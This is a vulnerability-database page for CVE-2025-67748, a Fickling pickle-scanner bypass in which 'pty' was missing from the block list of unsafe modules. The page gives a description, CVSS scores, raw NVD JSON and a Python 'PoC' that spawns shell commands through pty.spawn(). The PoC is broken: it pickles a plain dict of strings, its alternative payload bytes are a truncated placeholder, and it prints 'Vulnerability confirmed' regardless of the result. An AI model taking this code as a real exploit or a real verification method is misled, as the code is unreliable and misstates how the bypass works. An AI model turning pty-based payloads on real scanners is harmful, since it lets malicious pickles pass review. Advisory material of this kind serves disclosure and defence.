Security Vulnerability Report
中文
CVE-2025-67748 CVSS 7.8 HIGH

CVE-2025-67748

Published: 2025-12-16 01:15:53
Last Modified: 2026-01-02 15:58:54

Description

Fickling is a Python pickling decompiler and static analyzer. Versions prior to 0.1.6 had a bypass caused by `pty` missing from the block list of unsafe module imports. This led to unsafe pickles based on `pty.spawn()` being incorrectly flagged as `LIKELY_SAFE`, and was fixed in version 0.1.6. This impacted any user or system that used Fickling to vet pickle files for security issues.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:*:*:* - VULNERABLE
Fickling < 0.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67748 PoC - Fickling pty module bypass This PoC demonstrates how a malicious pickle using pty.spawn() can bypass Fickling's security checks in versions < 0.1.6 """ import pickle import pickletools import base64 def create_malicious_pickle(): """ Create a malicious pickle that uses pty.spawn() to execute commands. When analyzed by vulnerable Fickling versions, this will be incorrectly flagged as LIKELY_SAFE. """ # Malicious code using pty.spawn() malicious_code = ''' import pty import os # This will spawn a shell and execute arbitrary commands pty.spawn(['sh', '-c', 'echo pwned > /tmp/pwned.txt']) ''' # Create the pickle using reduce to execute arbitrary code # This is a simplified example; actual exploitation may vary malicious_pickle = pickle.dumps({ 'pty_module': 'pty', 'spawn_func': 'pty.spawn', 'command': ['sh', '-c', 'echo vulnerable > /tmp/cve-2025-67748.txt'] }) return malicious_pickle def demonstrate_bypass(): """ Demonstrate how the vulnerability allows bypassing Fickling checks. """ try: # Import Fickling from fickling.fickling import Fickling # Create malicious pickle mal_pickle = create_malicious_pickle() # Try to analyze with Fickling # In vulnerable versions, this will incorrectly pass f = Fickling.load(mal_pickle) # Check the analysis result is_safe = f.check() print(f"Fickling check result: {'LIKELY_SAFE' if is_safe else 'POTENTIALLY_DANGEROUS'}") print(f"Vulnerability confirmed: The malicious pickle bypassed security checks!") except ImportError: print("Fickling not installed. Install with: pip install fickling") print("\nManual verification:") print("1. Create a pickle using pty.spawn()") print("2. Analyze with Fickling.check()") print("3. Observe that it incorrectly reports LIKELY_SAFE") def alternative_poc(): """ Alternative PoC using direct pickle construction with pty.spawn() """ # This creates a pickle that when unpickled will execute pty.spawn() import builtins # Construct the exploit pickle # The actual implementation would use pickle opcodes to call pty.spawn exploit = b"\x80\x04\x95..." # Pickle bytecode for pty.spawn() print("Alternative PoC method:") print("- Construct pickle with pty.spawn(['id'])") print("- Use Fickling to analyze") print("- Observe bypass in vulnerable versions") if __name__ == "__main__": print("=" * 60) print("CVE-2025-67748 - Fickling pty module bypass PoC") print("=" * 60) demonstrate_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67748", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:52.950", "lastModified": "2026-01-02T15:58:53.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fickling is a Python pickling decompiler and static analyzer. Versions prior to 0.1.6 had a bypass caused by `pty` missing from the block list of unsafe module imports. This led to unsafe pickles based on `pty.spawn()` being incorrectly flagged as `LIKELY_SAFE`, and was fixed in version 0.1.6. This impacted any user or system that used Fickling to vet pickle files for security issues."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-184"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.1.6", "matchCriteriaId": "D557CCB3-8AC7-4BA6-BE40-5B51A216F56B"}]}]}], "references": [{"url": "https://github.com/trailofbits/fickling/pull/108", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/trailofbits/fickling/pull/187", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}